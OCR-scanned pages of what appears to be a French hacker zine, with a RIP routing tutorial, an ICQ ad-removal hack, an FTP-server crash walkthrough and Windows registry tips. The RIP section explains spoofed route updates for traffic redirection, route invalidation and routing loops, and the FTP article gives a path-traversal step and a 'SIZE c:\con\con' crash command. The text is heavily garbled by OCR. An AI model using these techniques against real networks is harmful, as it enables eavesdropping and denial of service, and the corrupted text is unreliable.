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“Pour aller vers C1, j passe par I'interface elh de passerelle @B/elh et ca me
cofile 2+3=5." : :

"Pour aller vers D1, je passe par I'interface elh1 de passerelle @B/e1 et ¢a me
coiite 3-+3=5."

Imaginons maintenant que A regoive I'annonce de D sur son
interface ethernet n°2 (dont le cotit a eté fixéa 1)

D: "Je connalg une route pour aller & D1 : elle cofite 1 111"
D: " Je connais une route pour aller & C1 : elle cofite 5 11"
D: "de connais une route pour aller & B1 : elle coiite 3 111"
D: ""Je connals une route pour aller & E1 ; elle cofite 4 11"

La destination E1 étant jusqu'a présent inconnue, A la rajoute
dans sa table avec un cofit de 4+1=5.

A connait déja une route pour aller vers les trois autres destina-
tions mais, comme tout a ['heure, il va tout de méme regarder
pour chacune de ces destinations si le passage par eth2 lui permet
de réduire le cofit de transport :

"Pour atteindre D1 par eth?, il m'en coite 1+1=2. C'est hien moing cher que par
elir1 pour lanuelle I méme destination était atieinte avec un cofit de 8 | Je vire done
I'ancienne entrge et 'ajoute la nouvelle qui utfise eth? et gui coiite 2."

"Poup atteindre C1 par eth?, il m'en coite 5+1=6. C'est trop cher : j& connais déja
1ne route moins chre passant par eth1 gui ne me cofite que 5." ;
"Pour atigindre B1 par eth?, il m'en cofte 3-+1=4. G'est aussi hion marcha que ce
1ue je paye en passant par efhi1, donc pas Ia peine de perdre du temps et du cpu A
;n::liliar [a table : j& garde Ia route vers B1 telle qu'elle est déja inscrite dans fa

u E."

A la fin de notre scenario de simulation, voici le colit que A a
associé a chacune des destinations qu'il a dans sa table de vec-
teurs :

“Pour ulller vers B1, je passe par I'inierface elh1 de passerelle @B/eth1 et ca me
F.'llnfnlﬁ;léll!er Vors C1,J psse pn nlenfac e e passerell @B/eld et game
E?lf::pﬁé!!ar uers D1, je passe par I'interface eth? de ua#sﬂrelle @D/elh2 el came
:E’Elzr':all&r vers E1, je passe par I'interface eth2 de passerelle @0/eth? et ¢a me

Notez que pour aller vers Bl nous avons vu deux routes de méme
colit (=4). Dans ce genre de situation, c'est la premiére route a
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avoir été inscrite (et donc la premiére annonce réalisée par un
voisin de A de cott 4 et de destination B1) qui sera retenue pour
le routage final. Si D s'était annoncé en premier (avant B), le
chemin vers Bl passerait par l'interface ethernet n°2.

En fait I'algorithme de Bellman-Ford peut se résumer ainsi :

- A regoit le vecteur de distance de B

- Si ce vecteur contient une ou des destination(s) inconnues a A,
A calcule leur cofit final et les integre

- pour toutes les destinations déja connues,

* §ile coiit calculd final est inférieur au coit ja conn,

A supprime 'entrée déja connue et intégre la nouvelle entrée
découverte dans le tableau

* ginon i Ia destination, I'interface ot fa passerelle annoncées sont identiques & ung
entrée de fa talils,

Ametajourlecolitassociédanssa table (qu'ilsoit pl-[ls ¢levéounon)
* sinon A conserve ca qu'l 4 défh dans sa tahle '

On appelle temps de convergence le temps mis pour que I'en-
sembledel' AS ait unmodelede routage unifié et un état stable. Cette
convergenceestatteinte parles annoncesde routessuccessives de tous
les ruuteurs vers leurs voisins.

Ces annozzcessefantde mamerepel iodiquesetunsysteme de timeout
est appliqué sur les routes pour libérer les routes qui ne se sont
plusannonceesdepumuncertam temps. (nousallons développer ceci
ﬁans la présentation de RIP).

; %onthme de Bellman-Ford, utilisé par RIP et IGRPposscde des
pmb emes de boucle bien connus (Counting to Infinity) que je ne
détaille pasiei.

ii) Ditfusing Update ALgorithm (DUAL) :
:; Rt;mboulllo propriétaire (beurkl) d'El-

C'est ce protocole qui compte pour un demi.

Grosso modo identique & Distance Vector avec la possibilité sup-
plémentairedefiltrer lesannonces pour des raisons desécurité avant
émission ou apres réception. Toutes les routes qu'un routeur
regoit sont stockees dans la table et peuvent étre exploitées en cas

LA FUNESTE PRESENCE DES F'onf*
£ST A [/oEUVRE

de rupture de liaison ("Jayce, arréte de te battre avec les cables; '

c'est pas des monstro-plantes !").

Lorsqu'unetelleruptureest détectéeet quelerouteur nepossédeaucu-
neroutederechange, il réclame demaniére activeases voisinslesroutes
permettant d'atteindre la destination recherchée. De ce fait le
temps de convergence du réseau est largement diminug.

¢) Link State : Algorithme de Dijkstra

Je ne le détaille pas ici, on verra ¢a lorsqu'on traitera de OSPF et
consorts...

4 - Routing Information Protocol :
the beginning of the fun :)

Ce protocole pas tout jeune a été, si je me rappelle bien ma jeunesse,
le premier protocole implémenté pour faire tourner du routage
dynamique. La Request For Comment (REC1058) que je tiens dans
mes mains date de 1988, soit bien avant I'invasion de fenétres ami-
cales envers les utilisateurs... Donc c'est un protocole qui a 1'age de
ses artéres et qui a évolué en une version plus récente : RIPv2. Il uti-
liselatechniqueduvecteur dedistancece quifait qu'il estsimplea mettre
en oeuvre et qu'il est adapté aux réseaux de petite/moyenne taille
(les gros réseaux ne peuvent pas étre gérés avec du RIP car il autori-
se un maximum de 16 hops comme nous allons le voir plus loin).
Voyons tout d'abord les particularités de RIPv1 et nous aborde-
rons ensuite les modnf“cahons qui lui ont été apportées pour
donner RIPv2 (tout ce qui n'a pas été modifié se retrouve donc
dans la version 2 ;).

a) RIPvi: RFC1088

Ce protocole travaille en UDP sur le port 520. Si vous voulez le
détecter, nmap saura vous aider (‘nmap -sU -p 520
ADRESSE _DU_RESEAU_SCANNE ). Engénéralilest conseillé,
lorsque ['on écrit des programmes de communication avec des rou-
teurs RIP. d'utiliser le port source 520 (certains routeurs fonction-
nant en mode silencieux ne répondront pas si le port source n'est
pasmis a 520...plus d'infos dans la RFC). La taille maximale d'un
datagrammeRIP, enne comptantpas lesen-tétesIPet UDP,estde 512
octets (ce qui correspond & 25 routes annoncées) et il faudra utili-
ser plusieurs datagrammes si on a beaucoup de routes a envoyer.
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Hop ! un petit copier coller/traduction de la RFC::

0 ginn) 2 33 ;
012345678001234567800123456878801

commande Version mis & 26r0
iilentif famille d'adresse 1nig 4 78r0

adresse P

mis & zéro

g

mis 4 zéro

meétrique

i

La partie du datagramme depuis 'identifiant de la famille

d'adresse jusqu'au champ métrique peut apparaitre jusqu'a 25

fois (c'est ce que je vous disais plus haut).

Le champ "identifiant de la famille d'adresse" est la parce que,
"en théorie", RIP gére différents types de réseau et ne se limite
pas qu'aux réseaux [P. Comme dit ce cher C. Hedrick, auteur de
la RFC en question avec qui je joue au cricket tous le$ samedi,
"The address family identifier for IP is 2. None of the RIP
implementations available to the author implement any other
typeofaddress." C'est clair: mettez!'identifiant de la famille d'adres-
sea 2 et travaillez en IP comme tout le monde !

L'adresse [Pest l'adresse Internet classiquesur4 octetsen ordre réseau.

Les valeurs du champs commande peuvent &tre :

1 - requéte : réclame tout ou partie de la table de routage du
destinataire

2 - réponse : message contenant tout ou partie de la table de
routage de l'expéditeur. :

Il peut étre envoye en réponse a une requéte ou également étre une
mise a jour ou un signe de vie généré par l'expéditeur.
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3 - 5: obsoléte/réserve : onignore.

Toutes les 30 secondes tous les routeurs doivent envoyer en
. broadcast (donc a leurs voising immédiats puisque les broadeast
255.255.255.255 nepassent pasles routeurs) sur toutes leursinter-
facesleurs tables de vecteursassociant adresse [P destination (machi-
“ne ou réseau) a la métrique (le cofit calculé). :

La métrique est le colit calculé par l'expéditeur pour atteindre la
destination spécifice. La valeur envoyée va de 1 a 16, Pour éviter
les boucles de routage et les problémes inhérents au mécanisme
Distance Vecteur que nous avons rapidement suggérés plus haut,
toute route regue avec une métrique de 16 indiquera que la desti-
nation n'est pas accessible et 'annonce de cette destination ne
devra donc pas étre prise en compte dans la table de vecteurs
(saufpour supprimer cette route si elle existait dans notre table).

Sile colit pour atteindre une destination donnée a changé, et si
la table de vecteurs indique que pour atteindre cette destination
on passait par l'interface et la passerelle par lesquelles on vient
de recevoir les routes, le dernier coflit annoncé pour cette destina-
tion écrase le colit précédent dans la table.

“Tout cela vous rappelle quelque chose ? ben oui, ¢'est le mécanis-
me que nous avons vu plus haut : I'annonce de sa table de vec-
teurs & tous ses voising pour que ceux ci puissent comparer ces
informations avec leur propre table et éventuellement la mettre
joursiunnouveau chemin, un cheminmoins coliteux, unesuppression
de chemin ou une modif de colt sont notifiés.

Tous les routeurs sont tenus d'annoncer leur table toutes les 30
secondes. Si au bout de [80 secondes un routeur donné ne s'est
pas manifesté (envoi de mise & jour ou d'annonce), les routes lui
faisant référence sont considérées comme invalides par tous ses
voisins (colit/métrique mis a 16). Au bout de 120 secondes aprés
expiration de ce premier timeout, et s'il n'y a eu aucun signe de
vie en provenance de cette passerelle, 'entrée correspondant a
cette destination est carrément supprimeée de la table de vecteurs
des routeurs (libération de la place mémoire !)...

Les champs marqués "mis a zéro" sont vérifiés et s'il 1'un d'entre
eux n'est pas a zéro, c'est le message entier qui sera ignoré. Si la
version de RIP est supérieure a 1, les champs qui ne sont pas mis
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a zéro sont quand méme pris en compte (en fait les champs mis a
zéro étaient destinés aux évolutions futures de nouvelles versions
de RIP et devaient correspondre & des extensions). Sl la version
est 0, le datagramme est ignoré.

Toutceci pourrait yous étre utilesiun jour vous vous amusezacoder
vos propres datagrammes RIP... Bon, je m'arréte 14 pour RIPv1,
je pense que ¢a donne une bonne vue d'ensemble du fonctionne-
ment du protocole. Les plus pointilleux se référeront a la RFC :)

Comme vous avez pu le voir, aucun chiffrement n'est appliqué
aux données transportées, tout circule en clair, aucun systéme
d'authentification n'existe ce qui permet a n'importe qui de for-
ger ses propres datagrammes RIP et de les envoyer a un routeur
avec une adresse IP source spoofée. ..

Voyons rapidement les modifications que RIPv2 a dpporté a
cette version ancestrale !

b) RIPv2: RFC1723

RIPv2 est compatible avec RIPv1 (les deux versions peuvent
cohabiter et communiquer). L'émission des annonces en broad-
cast est abandonnée. On utilise maintenant I'adresse multicast
224.0.0.9 pour toutes les diffusions vers les voisins, ce qui per-
met de réduire I'encombrement du réseau par des trames broad-
cast ((c) mLer0SOft ;).

Le paquet RIPv2 a un peu 6té modifié’

0 1 2 33 ;
31234537890123453739312345378901

\

Les informations déja présentes dans RIPv1 n'ont pas changées
de sens. Des extensions ont éte apportées, comme l'information
de masque de sous-réseau qui manquait cruellement a RIPv1 et
la possibilité d'annoncer une route pour un autre routeur ne
gérant pas RIP (graceau champ @IP du routeur suivant qui contient
'@IP du routeur a utiliser pour la destination annonceée). Si ce
champest20.0.0.0, onutiliseral' @IPsource du datagramme comme
passerelle vers la destination (comme dans RIPv1).

Le Route Tag est 13 pour permettre une meilleure intéropérabili-
té et une meilleure distinction des origines-des routes (importa-
tion et redistribution de routes venant d'EGP ou d'OSPF par exemp]e)
Le champ non utilisé doit étre ignoré.

RIPvZ implémenteun procédé d'authentification évolutif (différentes
techniques peuvent encore étre proposées et implémentées dans les
routeurs sans modification du protocole). Cette authentification
est gérée par le premier bloc identifiant une route : la partie
démarrant a identifiant de la famille d'atlresse et se terminant avec

*le champ métrique. Si le premier bloc de ce type d'un datagramme

a son identifiant de famille de d'adresse égal & OXFFFF (tous les
bits & 1), cela signifie qu'un procédé d'authentification identifié
par le champ Route Tag est employé. Donc en fonction de la valeur
du Route Tag de ce bloc, 'authentification sera de type différent :

* Route Tag = 2 => authentification par mot de passe. Le
mot de passe est contenu en clair dans la suite des octets du bloc
en cours (au maximum 16 caractéres justifiés a gauche avec mise
4 0 des octets non utilisés).

* Route Tag = 3 => authentification par mot de passe crypté
pdr le systéme Message Digest 5 (utilisation d'une clé qui est le
mot de passe et d'un identifiant de clé sur chaque routeur). Ce
type d'authentification n'est apparemment supportée que par les.

commande version non utilisé routeurs Cisco (grande majorité des routeurs en place sur le net).
ilentif famille d'atiregse rote tag Tout datagramme requne présentantpaslebon mot depassesera igno-
atiiesco [P ré par les routeurs se basant sur une authentification. Les routeurs
tournant sous RIPv1 traiteront les annonces RIPv2 sans prendre
masque de (sous) réseau en compte ce champ d'authentification et ils resteront donc vulné-
, : : S it
@IF proctaliiroutel rables & un certain nombre d'attaques vraiment donc triviales.
métrique Lefaitquel'authentification occupela place d'uneannonce deroute,
___________ seulement 24 différentes routes pourront étre annoncées dans un
seul datagramme si l'option d'authentification est activée.
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: .5 - Rest In Peace : les attaques possibles sur
+:le protocole RIP 8p

Bon, cette fois c'est fini pour de bon, on passe 4 la partie ol on
fait mumuse ;)

Tout d'abord, si vous souhaitez trouver les routeurs faisant tour-
ner RIP sur votre réseau, utilisez le classique nmap :

[take@shell]$ nmap -sU -p 520 ade_rezo_a_Scanner

Lesmachinesdontleport UDP 520sera marquécommeopen feront
tourner un process RIP.

- Vous pouvez également utiliser 'outil protos fourni par phenoelit,
avec plusieurs outils décrits plus bas, dans le package d'attaque
Internetwork Routing Protocol Attack Suite (IR PAS) telechargeable
sur www.phenoelit.de. Cetoutil vousindique quelssont les protocoles
tournant sur une machine et peut donner des résultats faisant lar-
gement penser 4 un routeur (tiré de la doc de l'outil) ;

10.1.1.1 may be running (did not negate):
[IlMP_IPaIw TCP IGP UDP GRE SWIPE MOBILE SIIN-IUI] EIGRP IPIP

Si vous voyez apparaitre RIP dans la liste, ¢'est que vous étes bons ! ;)

Autonomous System Scanner (aka ASS;) peut également.vous
aider a trouver des informations sur la métrique du réseau fai-
sant tourner RIPvI,

Si le routeur fait tourper la version 2 du protocole, les informations
de masque de réseau, de prochain saut (@IP du prochain réseau), de
route tagetdemétriqueassociéesaux reponses obtenuesseront données.
Il pourra également indiquer que 'authentification RIPv2 est
activée, et si oui de quel type d'authentification il s'agit. Dans le
cas d'une authentification par mot de passe en texte clair, le mot
de passe sera révelé (pratigue :)

Je n'ai pas pu tester ces outil car je ne dispose pas de routeurs sous
la main (d'ailleurs, si vous en avez deux trois a me filer, vous avez
monadresse; ), doncdésolé pour ceux quiauraient voulu voir desjolies
lignes de commandes.... Pour une fois, rtfim and do it yourself !

Done pour pouvoir exploiter lesfailles duprotocole RIP, il faut connaitre
aumaximumla topologieduréseauattaqué(lescommandesitraceet tetra-
ce vous permettront d'explorer un peu les routes vers certaines desti-
nations, et done de mettre en évidence les routeurs intermédiaires).

vz Volee hors série / n° 4
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Les outils rprobe et srip de Humble pourront également vous
aider danscetterecherche (rprobe.cetsrip.csur google.fret vousserez
fournis). rprobe vous permetde réclamerles routesd'un routeur RIPv1
ouRIPy2 (S'imauthennf' Cclll(}ll)et siceluiciestmal configuréet vous
répond, vous pourrez recupérer les résultats par :

[root@clac]# tepdump -vv -8 8000 udp and port 520

La meilleure fagon de communiquer avec un démon RIP est de

. forger vous méme vos propres paquets avec soit un programme

fait maison, soit un générateur de paquets comme Nemesis-rip (il
en existe en pagaille sur le net...).

Voila pourla partie outils, voyons maintenant la théorie des attaques
possibles : ]
Les failles de la version | de RIP tiennent principalement au fait
qu'aucune authentification n'est nécessaire pour intervenir dans
les discussions de routages dynamique. Unintruspeut donc trésbien,
depuis 'autre bout de la planéte, modifier le routage RIP de
votreréseau enspoofantl'@IP source et en ayantune bonne connais-
sance de sa topologie. Il pourra ainsi invalider toutes les routes
d'un routeur RIP en annongan( des colts exorbitants pour cha-
cune d'entre elles par des messages de mise a jour.

Ainsi si un message avec des valeurs d'@]IP source et de destina-
tion existantes dans la table d'un routeur arrive avec un colit dif-
férent, la table est mise & jour avec le nouveau coiit annonce.

L'attaquant connaissant tout ou partie du contenu de la table de
routage d'unrouteur peut doncinvalider certainesroutes enenvoyant
un message de mise 4 jour provenant de I'@IP de la passerelle en
@]IP source, et la destination de la route qu'il veut casser, et avec
un cofit égal a 16. Le routeur en mettant a jour sa table invalide-
ra le routage par cette passerelle vers cette destination jusqu'au
prochain messagede mise & jour provenant de la vraie passerelle (=>
interét de répéter l'opération de maniére réguliére pour mainte-
nir la route fermée malgreé les annonces du vrai routeur).

De la méme fagon, il sera possible de rediriger le trafic vers un
routeur adjacent plus proche de nous avec la méme opération,
mais en annongant cette fois ci une métrique minimale (de | par

exemple). Lanouvelleroutesemblant étre pluscourteseraalors prise

en compte par le routeur attaque. Cette opération répétée sur
une chaine de routeurs faisant tourner RIP peut amener les com-
munications i passer par un routeur situé juste a coté¢ de nous
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(quenous pourronsalors controler demaniére aisée par de multiples
procédés d'alchimistes du 15™ siécle, ce qui nous permettra de
lire les informations top secrétes routées jusqu'a nous ;) !

Des variantes existent permettant de créer des boucles de routage
entre deux routeurs... Le routeur A considérera que la meilleure
route pour atteindre le réseau X est d'envoyer le paquet 4 router
vers le routeur B, et le routeur B sera persuadé que le routeur A -
est la meilleure passerelle pour atteindre le réseau X. Il s'en suit
une boucle de routage entre deux routeurs (mais on peut faire la
méme chose sur plus de deux routeurs). Le champ Time To Live
des paquets IP est heureusement 13 pour éviter que cette partie
de ping pong dure éternellement, mais ce genre d'attaque peut
amenér un Déni de Service sur une liaison en raison de I'amplifi-
cation importante et rapide du trafic sur le lien reliant A et B.

Pour ce qui est de la version 2 du protocole, le probléme principal
est d'obtenir le mot de passe (si celui ci est utilisé !). Un sniffer fera
‘ceci trés bien si on a sur le réseau local un routeur qui parle le RIP,
maiscela peut poser probléme pour dessystémes éloignés... Pour ce qui
est du chiffrement MDS, je n'ai pas effectué de recherches donc je

n'ai aucune idée si il s'agit d'un processus d'encryptage fort. Ceux
quecetaspectintéressepourrontseréfereralaRFC2082 (RIP-2MD3
Authentication) et envoyer un papier a HZV traitant du sujet !

Voila pour ce premier cours sur RIP. RIP est un protocole simple
comparé & OSPE.. vous imaginez ce qui vous attend ! :/ J'espére que
J'ai été assez clair et que vous avez compris le mécanisme ainsi que ses
failles. Le routage est un processus extrémement critique et il est
important de maitriserses concepts globaux et techniques lorsqu'on
administre un réseau. Le choix de l'utilisation de tel ou tel protocole
doit se faire en connaissance de cause, aprés analyse des points forts
et des faiblesses de chacun. Si vous souhaitez aller plus loin, allez
recupérer lesRFCcitéesplushaut (et d'autres traitant desmémessujets)
sur ietf.org par ex. Les documents disponibles sur le site www.phe-
noelit.de sont également extrémement intéressants (ainsi que les
outilsqu'ilsdéveloppent) etunpassageparl'url http://www.sans.org/info-
secFAQ/threats/protocol_level.htm vous est vivement recommandsé !
Je conclurais par la signature habituelle de FX (de Phenoelit) :

Peacel
UzY@nhhwhh.com

Résultat du concours MacHack :

La question était : Comment localiser des fichiers ou des dossiers invisibles ?

Abonnement a la clefau plus rapide sur Mac.
A la finale vu le nombre de réponse rapide et pas foreément précise et les rép

onses précise et pas rapide, le rédacteur en chef propose dans sa grande

générosité | abonnement au plus rapide et un Tshirt au plus précis, qui seront prévenus individuellement.

Bravo & tous les deux
Le plus rapide, clest Papyrus:
Sa bonne réponse : il suffit de lancer Sherlock et

de lui passer comme paramétre de recherche ce qui est invisib

le.
Le tour est joué. :

Le plus precis, ¢'est Thunderangel ;

Sa bonne réponse :
Avec mac Os 9 ;

Depuis le finder choisir le menu Fichier/ Rechercher, qui lance Sherlock, 1&#8217;outil de recherche intégré au systéme.

|E7 C/EST AU DETOUR D'UNEDE CES
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Supprimer Ia pub sur 100

ATTENTION

NB : Cette technique ne fonctionne pas sur icq 2001b. Autre
chose : vous n’aurez plus.accés aux fonetions ICQ more
plug -ins et History

Let s go! '

Pourvirerlapubsuricg, on vamterdlrela misea jour automatique,
supprimer les fichiers dIl qui telechargent chargent et affichent
la pub et supprimer I’ espace reservéaux pubs. Cest parti !

Interdire la mise & lour automatique
er la mise a jour automatique dicq, allez dans la
ndaube (Exécuter>REGEDIT), allez dans

de Ia chaine nommée AUTO UPDATE par No 4 la place de Yes
ou rien, Rebootez votre ordl et passez a l'étape suivante.

Supprimer les fichlers génants
La suppression de ces fichiers va suppnmer les pub et les rempla-
Cer par un bandean‘gms jusqu’ici il vaut encore mieux garder
les pupgg»mais cest pasﬁm Allez dans le répertoire icq (par
défaut : c:\Program F:]es\[cq) et supprimez les fichiers suivants :
“i’qdﬁelmaﬂ dll" : téléchargement des pubs
"1cqate1mg32 dll" : chargement des pubs

"lcqateres.dll" : affichage des pubs [
Je vous conseille de faire une sauvegarde de ces fichiers avant de
les suppnmer iy

Swprlmor Io bandeau gris horrlblo

Les espaces réservés aux bandeaux publicitaires sont maintenant
sans pub et ont donc été remplaces par des bandeaux gris hor-
ribles. On va donc voir comment virer cet espace devenu inutile
est laid en modifiant icq a ’aide de "Resource Hacker" 4 té1é-
charger depuis http:/delphi.icm.edu.pl/fip/tools/ResHack.zip.
Faites une sauvegarde d ICQCore dll avant de faire quoi que ce
soit ! (ah non ¢’est vrai vous n’allez pas le faire donc j’ai rien
dis).

Ouvrez lefichier ICQCore. dll (emplacement par défaut: c:\Program
Files\lcq) avec Resource Hacker et allez dans le répertoire Dialog
puis dans les sous répertoires :

2066 : fenétre ICQ Chat

2503 : fenétre Incoming message

2507 : fenétre Message session

2511 : fenétre SMS

2512 : fenétre Send File Request

2513 : fenétre Send URL Message

2514 : fenétre Envoi de requéte et demande d’application

2543 : fenétre Contacts (dans la rubrique Send)

2560 : fenétre Rappel d’anniversaire

2566 : fenétre Initiating Message

4501 : fenétre Receiving/Sending File(s) To/From

Pour virer la pub il faut motlillm- le logiciel, ce qu'mtemlit formellement Mirabilis !
Nous allons donc voir comment supprimer la pub sans le mettre en pratigue bien sur .

Dans chacun d’eux, vous verrez la ligne (exemple tiré du réper-
toire 2507) :

GONTROL™, 1070, "{8F8012BA-E55B-1103-ADE7 Il[ll]ll??[II]BFiII]}” 0x50000000,
1,165, 268, 38

Seule la valeur 165 change selon le répertoire (ainsi que la valeur
1070 mais ¢a nous intéresse pas).

[1fautalorsremplacerles2 derniéres valemsparﬂ Doncpournotre
exemple, ¢a donnera :

CONTROL™, 1070, "{EIFIIIIIZBM £558-1103-ADE7-0080270DBF00}", 0x50000000,
1,165,0,0

[l faut faire cette m0d1ﬁ0dt10n dans tout les répertoires. cités
plus hauts.
Et faites Compile Script aprés chaque modification’.

Onvamaintenanten finir en redimensionnant les fenétres. Toujours
danslesmémerépertoires, onvamodifier lapremiéreligne descript.
Dans notre exemple, on a : 2507 DIALOGEX 0, 0, 340, 163

On va alors modifier la derniére valeur par 166 (165+1 : ¢’est la
valeur avant celles que I’on a remplacées par 0 précédemment,
quel'on ajoutea l).

Ca va donc donner : 2507 DIALDGEX 0, 0, 340, 166

Idem, faites Compile Seript aprés chaque modification’.

Supprimer les 3 boutons

Lestrois grosboutons, la télé, I'enveloppeetlafleur, situéssous votre
numéro icq sont inutiles, encombrants et ce que 'on vient de faire
les a rendu inactifs. Pour les virer, il faut aller dans le répertoires.
2168 et remplacer les 2dernieres valeursde lapremiére ligne descript
par 0.

Avant : 2168 DIALOG 0,0, 147, 16

_Aprés : 2168 DIALOG 0, 0,0, 0

Le mot de la fin

Voild, vous savezmaintenant comment virer la pub de votreicq. Mais
$1 VOUS creusez un peu, vous trouverez vite comment le relooker,
lui'ajouter des fonction. .. -

PassReirieve 00
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 Démonstration d'une strategie
- f'attague classique.

DISCLAIMER
All your hase are helong to us !

Article succinct, précis, et qui, bien que ne
valant pas grand chose sur le pian technigue,
apportera beaucoup sur le plan méthodo-
logigue. En effet le but est de démonter
une attague classitgue afin d'en comprendre
la logigue. J'en vois fui bavent déja, alors
je ne m'éterniserais pas plus.

@udltlon_l préalables :

-G6 FTP Server v 2.0 ou inférieur. Au deld, le processus est
infaisable. 3

- Connaitre un moyen de DoS Windows par lecture de fichiers ou
derépertoires.

- Avoir un compte actif sur le systéme cible (anonyme ou spéci-

fique) =

Etapé 1 : identification
La premiére étape est, et restera toujours, 'identification du sys-

téme cible. ; %
Sileserveur se présenteautomatiquement a vous, tant mieux. Cepen-

dant, afin de préciser toute information, exécutez les étapes
appropriées : ‘

| - Localisation du service via un scan, des ports. Cela n'est pas
nécessaire si la personne vous a donné les coordonnées
exactes, ce qui est genéralement le cas si vous y avez un
compte a vous. . : -

2 - Connection via telnet <IP port>. Dans notre cas Cela
donne : telnet 192.168.0.2 21.

3 - USER <login> ; PASS <pass=>. Ces deux commandes sont
nécessaires pour vous identifier sur le serveur. Sans ¢a, le
serveur refusera toutes commandes. Dansnotre cas Celadonne
USER strifouz (validation/touche Enter) PASS da

4 - Help ou ? vous donnera la liste des commandes disponibles.

5 - STAT, afficheralestatut clientet serveur concernant laconnexion.
11 permet de repréciser parfois la version du serveur.

Etape 2 : tests

Une fois le serveur identifie, essayez d'utiliser une a une les com-
mandes mises & votre disposition via la commande help. Afin que
celles-ci ne soient pas trop floues, sachez qu'il existe sur internet
des tutoriaux ou des fichiers d'aides concernant ce type de sys-
témes. Voici la commande qui nous intéresse le plus :

SIZE <paraméltres>, qui sert & renvoyer la taille d'un fichier

dont "paramétres” est I'adresse cible. Par exemple : SIZE c:\win-
dows\telnet.exe

RIEN DIFFERENTE DE CE QUE NoySs O
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Environnement de travail :

- Un poste serveur sous Windows 98 SE ;

- Gene 6 FTP Server version 2.0 comme application serveur ;
- Un poste client (telnet.exe) sous Windows2000 Pro ;

- Un réseau actif entre client et serveur.

Sur les versions non patchées de G6 FTP Server, il est possiblg d'utiliser la commande SIZE en-dehors du Cl]dmp de limite spécifié par |
la configuration serveur !

Voici deux images qui témoignent du drame,

[000002) 28/10/01 16:00: 72 shifouz (192 168.0.1) » asked o channe dwacla:y CihAganth G '\Aqant\' » Achﬁ‘»ﬁ allawed,
[O0G02) 2610701 V61 ' trﬂuu (1’ 168.01) » 250 CWD command sucesssiul "/C/00en" i cunent dilecton
2810/01 16:00 211 STAT 2
280/01 160 . 'I‘I GBFTP Sevec -,-Mhn fooe 3 iummnn
u.}'J /0701 15:0 5.0 v FH2TRE0.2 21)
(000002) 24/16701 16:00.2 11 End ;
(000002 28/10/01 16:00:34 - strifouz (192 168.0.1) » SIZE ¢ \windows\telnet exe
0000021 28/10/01 16.00,34 - shidouz 9216301} -
o Setup User Accounts e ' %]
&5 Setup “ 55;@] : 3 o 7 UserAceounts - |
E:]' Miscellanzous : | [ |
(o) Links & Massages | feoess Rights
Qi Ratia; Quots, Bps | | Direcloiiss T awibutes | Files
IP & Barned Files | gy b qanit ol ™ Resd
A Notes : I~ Wiite
E} Hlatus <y { [" Delele
! i [ Appand ‘
| Directories |
[ [ Make | |
T . |
| [T Dalela i 5
| ™ +Bubdics
[ A Heane deerton ™ All/None
Selup
W Login Iemfou: |
| ¥ Password  |da & |

! ce-r-re. SoURCE PRODUIT
L ETRANGE,UNE ENERGIE

) \ (Qui RAyoNNAtT PARTBUT \Ci
LT S .
JOF 8o

Si LES F.ON. l\bLLSAUAtENT LAISSES
ENTRER EN CONTACT AVEC G‘ffESOORCE
NOTRE UNIVERS AURAIT FRANCH |
UN TouRNANT NORMAL DE Son

VoLuTioN
B S -
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Invite de commandes - teinet 192.168.0.221

TP Server ready ...
ifouz
sord required for stvrifouz.

« strifouz logged in.
A CUD command successful. Y/C:/Rgent' is current directory.

211~ G6 FIP Server status for strifouz onpfining
- (192.168.8.1:3105 <-> 192.168.0.2:21>

211~ Uploaded : @ Kbytes
211~ Dounloaded : B Khytes
-

v End of status.

» ci\windous\telnet . exe

188544

Etape 3 : attaque

Une fois que I'on a confirmé la possibilité-d'accéder a des fichiers hors limites, il est possible de planter le systéme cible. Il n'y a pas
moyen de faire ouvrir au systéme cible un fichier, en revanche il est possible de le faire planter via une tentative d'accés au "répertoire”
¢:\con\con (ou \nul), arborescence ayant la ficheuse tendance d'entrainer un plantage du noyau de Windows (il ne s'agit pas yraiment
de répertoires), concluant sur un crash immédiat du systéme sur les versions Windows non corrigées. Sur d'autres 08, il doit aussi étre
possible d'amener la déstabilisation d'un systéme par ce type de commandes.

SIZEgdeconicon e, ) :
Sinon sachez qu'avoir la taille d'un fichier est loin d'étre une chose inutile.

Cela permettrait, par exemple, de deviner la longueur de clés en matiére de cryptographie, mais la on rentre dans un tout
autre domaine.

Da Strifouz




 Annuler I'enregistrement
lies mois IIB jasse Sous \IIII[IHIII]E

Dans les boites de dialogues des acces aux réseaux A d;stance Wmdows vous permet de cocher une case afin de mémoriser votre mot de
passe "Enregistrer le mot de passe".

Ce mot de passe peut &tre vu trés facilement.
* (C:\Windows\" jwi) aveg un simple décodeur (PwiTool)

Pour empécher l'enregistrement du mot de passe, il vous suffit de vous rendre dans le registre a cette clé :

HREY._LOCAL_MACHINENSoftware\Wicrasoft\Windows\Carventirsion\Poliies\Networ
* Ajoutez une valeur binaire nommée "DisablePwdCaching" et affectez lui la valeur 10 dans le menu "Modifier" avec le click droit.

Astuce : Moffiez e click droit

Une astuce pour Windows 98 afin d'accélérer l'exploration en un simple click droit ;

Sivousvoulezvoir apparaitre unmenulorsd' un cllckdl oitsur vosdossiers, afindelancer|'explorateur oun'importe quel autreprogramme,

il vous suffit d'ouvrir "Options des dossiers..." en allant dans "Démarrer / Paramétres". Sous I'onglet "Types de fichiers" repérer I'élé-

‘ment "Dossier", double cliquer dessus et activer le bouton "Nouveau". - Sl

Dans la zone "Action", mettez "Hzv" et "explorer.exe /e, /root, %1" dans la zone "A])plreauon utilisée pour exécuter cette f.lCllOIl"

Vous pouvez fermer en vahdam les fenétres.

Vous pouvez maintenant faire un click droit sous un dossier et remarquer le menu "Hzv" qui permet de lancer l'explorateur.

Cette valeur est aussi accessible dans le registre sous la clé :

HKEY_CLASSES ROOT\Directory\shell\Hzv
Rechienchez un numera de carte bleue

KXXXXXXX

Résultat du concours MacHack (suite) :

Parmi les boutons-radios, un seul est suivi d&#8217;un menu déroulant. Dans ce menu déroulant choisir
|&#8217;article Personnaliser, ce qui ouvre une zone de dlalogue avec tout un tas

de case & cocher. A droite se trouve les options avancées parmi lesquelles il y a une case a cocher pour effectuer la
recherche parmi les éléments invisibles.

Avec Mac Os 8 et 7 _

Depuis le finder choisir le menu Fichier/ Rechercher, quilance 1&#8217;0util de recherche intégré au systéme ( comme
pour Mac Os 9). Pour avoir accés au critére éléments invisible, il suffit d&#8217;appuyer sur la touche ALT avant de cli-
quer sur le menu déroulant des choix de critéres de recherche.

Thunderangel

NB : Attention : Resedit est | éditeur de resources il peut modifier les attributs
d&#8217;un fichier mais on ne peut pas faire des recherches avec .

